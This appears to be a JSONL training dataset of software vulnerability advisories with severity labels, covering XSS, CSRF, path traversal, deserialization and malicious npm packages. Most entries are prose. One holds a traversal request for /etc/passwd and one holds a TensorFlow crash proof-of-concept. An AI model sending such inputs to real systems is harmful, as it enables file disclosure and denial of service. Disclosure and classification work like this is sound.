-{"id": "7d05cd6e0cfbdbe4c534", "text": "Cross-site Scripting in Beego\n\nCross Site Scripting (XSS) vulnerability exists in the admin panel in Beego v2.0.1 via the URI path in an HTTP request, which is activated by administrators viewing the \"Request Statistics\" page.", "text_raw": "Cross-site Scripting in Beego\n\n[Severity: MEDIUM]\n\nCross Site Scripting (XSS) vulnerability exists in the admin panel in Beego v2.0.1 via the URI path in an HTTP request, which is activated by administrators viewing the \"Request Statistics\" page.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-15", "split": "train"}
-{"id": "946eff20a325582b7026", "text": "A weakness was found in postgresql-jdbc before version 42.2.5. It was possible to provide an SSL Factory and not check the host name if a host name verifier was not provided to the driver. This could lead to a condition where a man-in-the-middle attacker could masquerade as a trusted server by providing a certificate for the wrong host, as long as it was signed by a trusted CA.", "text_raw": "Moderate severity vulnerability that affects org.postgresql:pgjdbc-aggregate\n\n[Severity: MEDIUM]\n\nA weakness was found in postgresql-jdbc before version 42.2.5. It was possible to provide an SSL Factory and not check the host name if a host name verifier was not provided to the driver. This could lead to a condition where a man-in-the-middle attacker could masquerade as a trusted server by providing a certificate for the wrong host, as long as it was signed by a trusted CA.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "e82b1a2f82b18e897acb", "text": "NetServe Web Server v1.0.58 Multiple Remote Vulnerabilities", "text_raw": "NetServe Web Server v1.0.58 Multiple Remote Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-06-23", "split": "train"}
-{"id": "88da047184dbe72df30c", "text": "Cross-Site Request Forgery in OpenNMS Horizon\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to CSRF, due to no CSRF protection, and since there is no validation of an existing user name while renaming a user. As a result, privileges of the renamed user are being overwritten by the old user and the old user is being deleted from the user list.", "text_raw": "Cross-Site Request Forgery in OpenNMS Horizon\n\n[Severity: MEDIUM]\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to CSRF, due to no CSRF protection, and since there is no validation of an existing user name while renaming a user. As a result, privileges of the renamed user are being overwritten by the old user and the old user is being deleted from the user list.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "f16971597f7a711a9819", "text": "Prototype Pollution\n\nPrototype pollution vulnerability in ‘expand-hash’ versions 0.1.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype Pollution\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in ‘expand-hash’ versions 0.1.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "38b5d556f2a8a35e3562", "text": "Lack of Input Validation in zendesk_api_client_php for Zendesk Subdomain\n\n### Impact\nLack of input validation of the Zendesk subdomain could expose users of the library to Server Side Request Forgery (SSRF).\n\n### Resolution\nValidate the provided Zendesk subdomain to be a valid subdomain in:\n* getAuthUrl\n* getAccessToken", "text_raw": "Lack of Input Validation in zendesk_api_client_php for Zendesk Subdomain\n\n[Severity: CRITICAL]\n\n### Impact\nLack of input validation of the Zendesk subdomain could expose users of the library to Server Side Request Forgery (SSRF).\n\n### Resolution\nValidate the provided Zendesk subdomain to be a valid subdomain in:\n* getAuthUrl\n* getAccessToken", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-29", "split": "train"}
-{"id": "086186338efb80fbc62e", "text": "Incorrect Default Permissions in Apache JSPWiki\n\nRemote attackers may delete arbitrary files in a system hosting a JSPWiki instance, versions up to 2.11.0.M8, by using a carefuly crafted http request on logout, given that those files are reachable to the user running the JSPWiki instance. Apache JSPWiki users should upgrade to 2.11.0 or later.", "text_raw": "Incorrect Default Permissions in Apache JSPWiki\n\n[Severity: CRITICAL]\n\nRemote attackers may delete arbitrary files in a system hosting a JSPWiki instance, versions up to 2.11.0.M8, by using a carefuly crafted http request on logout, given that those files are reachable to the user running the JSPWiki instance. Apache JSPWiki users should upgrade to 2.11.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-29", "split": "train"}
-{"id": "29750a971d89e5dfbf71", "text": "Epic Games Launcher 7.9.4-4058369 Insecure File Permissions", "text_raw": "Epic Games Launcher 7.9.4-4058369 Insecure File Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "5bd6d80dc3d8df5486eb", "text": "In the Bouncy Castle JCE Provider version 1.55 and earlier the primary engine class used for AES was AESFastEngine. Due to the highly table driven approach used in the algorithm it turns out that if the data channel on the CPU can be monitored the lookup table accesses are sufficient to leak information on the AES key being used. There was also a leak in AESEngine although it was substantially less. AESEngine has been modified to remove any signs of leakage (testing carried out on Intel X86-64) and is now the primary AES class for the BC JCE provider from 1.56. Use of AESFastEngine is now only recommended where otherwise deemed appropriate.", "text_raw": "Moderate severity vulnerability that affects org.bouncycastle:bcprov-jdk14 and org.bouncycastle:bcprov-jdk15\n\n[Severity: MEDIUM]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the primary engine class used for AES was AESFastEngine. Due to the highly table driven approach used in the algorithm it turns out that if the data channel on the CPU can be monitored the lookup table accesses are sufficient to leak information on the AES key being used. There was also a leak in AESEngine although it was substantially less. AESEngine has been modified to remove any signs of leakage (testing carried out on Intel X86-64) and is now the primary AES class for the BC JCE provider from 1.56. Use of AESFastEngine is now only recommended where otherwise deemed appropriate.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "9c78495d5f2b070fc38c", "text": "facter, hiera, mcollective-client, and puppet affected by untrusted search path vulnerability\n\nUntrusted search path vulnerability in Puppet Enterprise 2.8 before 2.8.7, Puppet before 2.7.26 and 3.x before 3.6.2, Facter 1.6.x and 2.x before 2.0.2, Hiera before 1.3.4, and Mcollective before 2.5.2, when running with Ruby 1.9.1 or earlier, allows local users to gain privileges via a Trojan horse file in the current working directory, as demonstrated using (1) `rubygems/defaults/operating_system.rb`, (2) `Win32API.rb`, (3) `Win32API.so`, (4) `safe_yaml.rb`, (5) `safe_yaml/deep.rb`, or (6) `safe_yaml/deep.so`; or (7) `operatingsystem.rb`, (8) `operatingsystem.so`, (9) `osfamily.rb`, or (10) `osfamily.so` in `puppet/confine`.", "text_raw": "facter, hiera, mcollective-client, and puppet affected by untrusted search path vulnerability\n\n[Severity: MEDIUM]\n\nUntrusted search path vulnerability in Puppet Enterprise 2.8 before 2.8.7, Puppet before 2.7.26 and 3.x before 3.6.2, Facter 1.6.x and 2.x before 2.0.2, Hiera before 1.3.4, and Mcollective before 2.5.2, when running with Ruby 1.9.1 or earlier, allows local users to gain privileges via a Trojan horse file in the current working directory, as demonstrated using (1) `rubygems/defaults/operating_system.rb`, (2) `Win32API.rb`, (3) `Win32API.so`, (4) `safe_yaml.rb`, (5) `safe_yaml/deep.rb`, or (6) `safe_yaml/deep.so`; or (7) `operatingsystem.rb`, (8) `operatingsystem.so`, (9) `osfamily.rb`, or (10) `osfamily.so` in `puppet/confine`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f04652a1a231c18fc74b", "text": "COMMAX UMS Client ActiveX Control 1.7.0.2 (CNC_Ctrl.dll) Heap Buffer Overflow", "text_raw": "COMMAX UMS Client ActiveX Control 1.7.0.2 (CNC_Ctrl.dll) Heap Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "60912ebe616f4bd3479b", "text": "Puppet allows remote attackers to execute arbitrary Ruby programs from the master via the resource_type service\n\nUnspecified vulnerability in Puppet 2.7.x before 2.7.23 and 3.2.x before 3.2.4, and Puppet Enterprise 2.8.x before 2.8.3 and 3.0.x before 3.0.1, allows remote attackers to execute arbitrary Ruby programs from the master via the resource_type service.  NOTE: this vulnerability can only be exploited utilizing unspecified \"local file system access\" to the Puppet Master.", "text_raw": "Puppet allows remote attackers to execute arbitrary Ruby programs from the master via the resource_type service\n\n[Severity: MEDIUM]\n\nUnspecified vulnerability in Puppet 2.7.x before 2.7.23 and 3.2.x before 3.2.4, and Puppet Enterprise 2.8.x before 2.8.3 and 3.0.x before 3.0.1, allows remote attackers to execute arbitrary Ruby programs from the master via the resource_type service.  NOTE: this vulnerability can only be exploited utilizing unspecified \"local file system access\" to the Puppet Master.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f3c9181ca47a40531e73", "text": "Malicious Package in rimrafall\n\nVersion 1.0.0 of `rimrafall` contains malicious code as a preinstall script. The package attempts to remove all files in the system's root folder.\n\n## Recommendation\n\nIf you installed this package it is likely your machine was erased. If not, remove the package from your system and verify if any files were deleted.", "text_raw": "Malicious Package in rimrafall\n\n[Severity: CRITICAL]\n\nVersion 1.0.0 of `rimrafall` contains malicious code as a preinstall script. The package attempts to remove all files in the system's root folder.\n\n\n## Recommendation\n\nIf you installed this package it is likely your machine was erased. If not, remove the package from your system and verify if any files were deleted.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "de3a77c527c9e97fe16e", "text": "Deserialization of Untrusted Data in jackson-databind due to polymorphic deserialization\n\nFasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the axis2-transport-jms class from polymorphic deserialization.", "text_raw": "Deserialization of Untrusted Data in jackson-databind due to polymorphic deserialization\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the axis2-transport-jms class from polymorphic deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "2d92e9c0bdfc99512d89", "text": "Non-persistent XSS in the Storefront in Shopware\n\n### Impact\nNon-persistent XSS in the Storefront\n\n### Patches\nWe recommend to update to the current version 6.3.1.1. You can get the update to 6.3.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### References\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-09-2020", "text_raw": "Non-persistent XSS in the Storefront in Shopware\n\n[Severity: LOW]\n\n### Impact\nNon-persistent XSS in the Storefront\n\n### Patches\nWe recommend to update to the current version 6.3.1.1. You can get the update to 6.3.1.1 regularly via the Auto-Updater or directly via the download overview. \n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### References\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-09-2020", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-23", "split": "train"}
-{"id": "041e6f27c447fa56d69b", "text": "session fixation protection mechanism in cgi_process.rb in Rails\n\nThe session fixation protection mechanism in cgi_process.rb in Rails 1.2.4, as used in Ruby on Rails, removes the :cookie_only attribute from the DEFAULT_SESSION_OPTIONS constant, which effectively causes cookie_only to be applied only to the first instantiation of CgiRequest, which allows remote attackers to conduct session fixation attacks.  NOTE: this is due to an incomplete fix for CVE-2007-5380.", "text_raw": "session fixation protection mechanism in cgi_process.rb in Rails\n\n[Severity: MEDIUM]\n\nThe session fixation protection mechanism in cgi_process.rb in Rails 1.2.4, as used in Ruby on Rails, removes the :cookie_only attribute from the DEFAULT_SESSION_OPTIONS constant, which effectively causes cookie_only to be applied only to the first instantiation of CgiRequest, which allows remote attackers to conduct session fixation attacks.  NOTE: this is due to an incomplete fix for CVE-2007-5380.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "7af4ebc15b73bbf6c6bd", "text": "Cross-site Scripting in Sidekiq\n\nSidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used.", "text_raw": "Cross-site Scripting in Sidekiq\n\n[Severity: MEDIUM]\n\nSidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "fa77ff08fe9e431d588c", "text": "Online Grades 3.2.5 Multiple XSS Vulnerabilites", "text_raw": "Online Grades 3.2.5 Multiple XSS Vulnerabilites\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-07-25", "split": "train"}
-{"id": "e9717ced0332189e74b5", "text": "Active Record vulnerable to SQL Injection via nested query parameters\n\nThe Active Record component in Ruby on Rails 3.0.x before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly implement the passing of request data to a where method in an ActiveRecord class, which allows remote attackers to conduct certain SQL injection attacks via nested query parameters that leverage unintended recursion, a related issue to CVE-2012-2695.", "text_raw": "Active Record vulnerable to SQL Injection via nested query parameters\n\n[Severity: MEDIUM]\n\nThe Active Record component in Ruby on Rails 3.0.x before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly implement the passing of request data to a where method in an ActiveRecord class, which allows remote attackers to conduct certain SQL injection attacks via nested query parameters that leverage unintended recursion, a related issue to CVE-2012-2695.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "5327745daf34254a047f", "text": "hubl-server downloads resources over HTTP\n\nAffected versions of `hubl-server` insecurely download dependencies over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the responses and replace the dependencies with malicious ones, resulting in code execution on the system running `hubl-server`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and it has not seen any updates since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised yo", "text_raw": "hubl-server downloads resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `hubl-server` insecurely download dependencies over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the responses and replace the dependencies with malicious ones, resulting in code execution on the system running `hubl-server`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and it has not seen any updates since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised yo", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "34d09524c14754af5286", "text": "OS Command Injection in giting\n\ngiting version prior to 0.0.8 allows execution of arbritary commands. The first argument `repo` of function `pull()` is executed by the package without any validation.", "text_raw": "OS Command Injection in giting\n\n[Severity: CRITICAL]\n\ngiting version prior to 0.0.8 allows execution of arbritary commands. The first argument `repo` of function `pull()` is executed by the package without any validation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "b368f16e049f65a04ae9", "text": "Out of bounds write in serde_cbor\n\nAffected versions of this crate did not properly check if semantic tags were nested excessively during deserialization. This allows an attacker to craft small (< 1 kB) CBOR documents that cause a stack overflow. The flaw was corrected by limiting the allowed number of nested tags.", "text_raw": "Out of bounds write in serde_cbor\n\n[Severity: HIGH]\n\nAffected versions of this crate did not properly check if semantic tags were nested excessively during deserialization. This allows an attacker to craft small (< 1 kB) CBOR documents that cause a stack overflow. The flaw was corrected by limiting the allowed number of nested tags.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5319ffd668d47454949a", "text": "Malicious Package in bunfer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bunfer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "013a3d533ccb7e80f167", "text": "Downloads Resources over HTTP in node-bsdiff-android\n\nAffected versions of `node-bsdiff-android` insecurely download resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in node-bsdiff-android\n\n[Severity: HIGH]\n\nAffected versions of `node-bsdiff-android` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-18", "split": "train"}
-{"id": "5ddfb9baadb4dfb33b36", "text": "Crash caused by integer conversion to unsigned\n\n### Impact\nAn attacker can cause a denial of service in `boosted_trees_create_quantile_stream_resource` by using negative arguments:\n\n```python\nimport tensorflow as tf\nfrom tensorflow.python.ops import gen_boosted_trees_ops\nimport numpy as np\n\nv= tf.Variable([0.0, 0.0, 0.0, 0.0, 0.0])\ngen_boosted_trees_ops.boosted_trees_create_quantile_stream_resource(\n  quantile_stream_resource_handle = v.handle,\n  epsilon = [74.82224],\n  num_streams = [-49], \n  max_elements = np.int32(586))\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantile_ops.cc#L96) does not validate that `num_streams` only contains non-negative numbers. In turn, [this results in using this value to allocate memory](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantiles/quantile_stream_resource.h#L31-L40):\n\n```cc\nclass BoostedTreesQuantileStreamResource : public ResourceBase {\n public:\n  BoostedTreesQuantileStreamResource(const float epsilon,\n                                     const int64 max_elements,\n                                     const int64 num_streams)\n      : are_buckets_ready_(false),\n        epsilon_(epsilon),\n        num_streams_(num_streams),\n        max_elements_(max_elements) {\n    streams_.reserve(num_streams_);\n    ...\n  }\n}\n```\n\nHowever, `reserve` receives an unsigned integer so there is an implicit conversion from a negative value to a large positive unsigned. This results in a crash from the standard library.\n\n### Patches\nWe have patched the issue in GitHub commit [8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992](https://github.com/tensorflow/tensorflow/commit/8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Crash caused by integer conversion to unsigned\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can cause a denial of service in `boosted_trees_create_quantile_stream_resource` by using negative arguments:\n\n```python\nimport tensorflow as tf\nfrom tensorflow.python.ops import gen_boosted_trees_ops\nimport numpy as np\n\nv= tf.Variable([0.0, 0.0, 0.0, 0.0, 0.0])\ngen_boosted_trees_ops.boosted_trees_create_quantile_stream_resource(\n  quantile_stream_resource_handle = v.handle,\n  epsilon = [74.82224],\n  num_streams = [-49], \n  max_elements = np.int32(586))\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantile_ops.cc#L96) does not validate that `num_streams` only contains non-negative numbers. In turn, [this results in using this value to allocate memory](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantiles/quantile_stream_resource.h#L31-L40):\n\n```cc\nclass BoostedTreesQuantileStreamResource : public ResourceBase {\n public:\n  BoostedTreesQuantileStreamResource(const float epsilon,\n                                     const int64 max_elements,\n                                     const int64 num_streams)\n      : are_buckets_ready_(false),\n        epsilon_(epsilon),\n        num_streams_(num_streams),\n        max_elements_(max_elements) {\n    streams_.reserve(num_streams_);\n    ...\n  }\n}\n```\n\nHowever, `reserve` receives an unsigned integer so there is an implicit conversion from a negative value to a large positive unsigned. This results in a crash from the standard library.\n\n### Patches\nWe have patched the issue in GitHub commit [8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992](https://github.com/tensorflow/tensorflow/commit/8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "bff57c8e4a87aad0165f", "text": "Improper Verification of Cryptographic Signature in ansible\n\nA flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when `disable_gpg_check` is set to `False`, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.", "text_raw": "Improper Verification of Cryptographic Signature in ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when `disable_gpg_check` is set to `False`, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "2fd41e7e486cd79c5078", "text": "COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure", "text_raw": "COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "ca43d496e4065b780924", "text": "Apache Thrift Node.js static web server sandbox escape\n\nThe Apache Thrift Node.js static web server in versions 0.9.2 through 0.11.0 have been determined to contain a security vulnerability in which a remote user has the ability to access files outside the set webservers docroot path.", "text_raw": "Apache Thrift Node.js static web server sandbox escape\n\n[Severity: MEDIUM]\n\nThe Apache Thrift Node.js static web server in versions 0.9.2 through 0.11.0 have been determined to contain a security vulnerability in which a remote user has the ability to access files outside the set webservers docroot path.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-17", "split": "train"}
-{"id": "64ea8835ab464596c3ef", "text": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability due to failure to properly handle rich text format files in memory. Successful exploitation allows for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-399\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability due to failure to properly handle rich text format files in memory. Successful exploitation allows for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-399\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "7e884ecd3b63b81db721", "text": "Directory Traversal in citypredict.whauwiller\n\nAffected versions of `citypredict.whauwiller` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in citypredict.whauwiller\n\n[Severity: HIGH]\n\nAffected versions of `citypredict.whauwiller` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "36fc3acb48456638bbb2", "text": "Adobe ColdFusion Unrestricted File Upload Vulnerability\n\nAffected: Adobe ColdFusion\n\nAdobe ColdFusion contains an unrestricted file upload vulnerability that could allow for code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Adobe ColdFusion Unrestricted File Upload Vulnerability\n\nAffected: Adobe ColdFusion\n\nAdobe ColdFusion contains an unrestricted file upload vulnerability that could allow for code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "aa33e15417dac47fc607", "text": "Regular expression denial of service in forms\n\nThe package forms before 1.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via email validation.", "text_raw": "Regular expression denial of service in forms\n\n[Severity: MEDIUM]\n\nThe package forms before 1.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via email validation.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "b767e2570e6817bc962a", "text": "Path Traversal in knightjs\n\nAll versions of `knightjs` are vulnerable to Path Traversal.\n\nThis vulnerability allows an attacker to read content of arbitrary files on the server due to lack of input validation.\n\n## Recommendation\n\nAs there is currently no fix for this module we recommend not using this module in production environments.", "text_raw": "Path Traversal in knightjs\n\n[Severity: HIGH]\n\nAll versions of `knightjs` are vulnerable to Path Traversal. \n\nThis vulnerability allows an attacker to read content of arbitrary files on the server due to lack of input validation.\n\n\n## Recommendation\n\nAs there is currently no fix for this module we recommend not using this module in production environments. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "682970792be5aabb05ee", "text": "XML Entity Expansion and Improper Input Validation in Kubernetes API server\n\nImproper input validation in the Kubernetes API server in versions v1.0-1.12 and versions prior to v1.13.12, v1.14.8, v1.15.5, and v1.16.2 allows authorized users to send malicious YAML or JSON payloads, causing the API server to consume excessive CPU or memory, potentially crashing and becoming unavailable. Prior to v1.14.0, default RBAC policy authorized anonymous users to submit requests that could trigger this vulnerability. Clusters upgraded from a version prior to v1.14.0 keep the more permissive policy by default for backwards compatibility.\n\n### Specific Go Packages Affected\nk8s.io/kubernetes/pkg/apiserver", "text_raw": "XML Entity Expansion and Improper Input Validation in Kubernetes API server\n\n[Severity: HIGH]\n\nImproper input validation in the Kubernetes API server in versions v1.0-1.12 and versions prior to v1.13.12, v1.14.8, v1.15.5, and v1.16.2 allows authorized users to send malicious YAML or JSON payloads, causing the API server to consume excessive CPU or memory, potentially crashing and becoming unavailable. Prior to v1.14.0, default RBAC policy authorized anonymous users to submit requests that could trigger this vulnerability. Clusters upgraded from a version prior to v1.14.0 keep the more permissive policy by default for backwards compatibility.\n\n### Specific Go Packages Affected\nk8s.io/kubernetes/pkg/apiserver", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
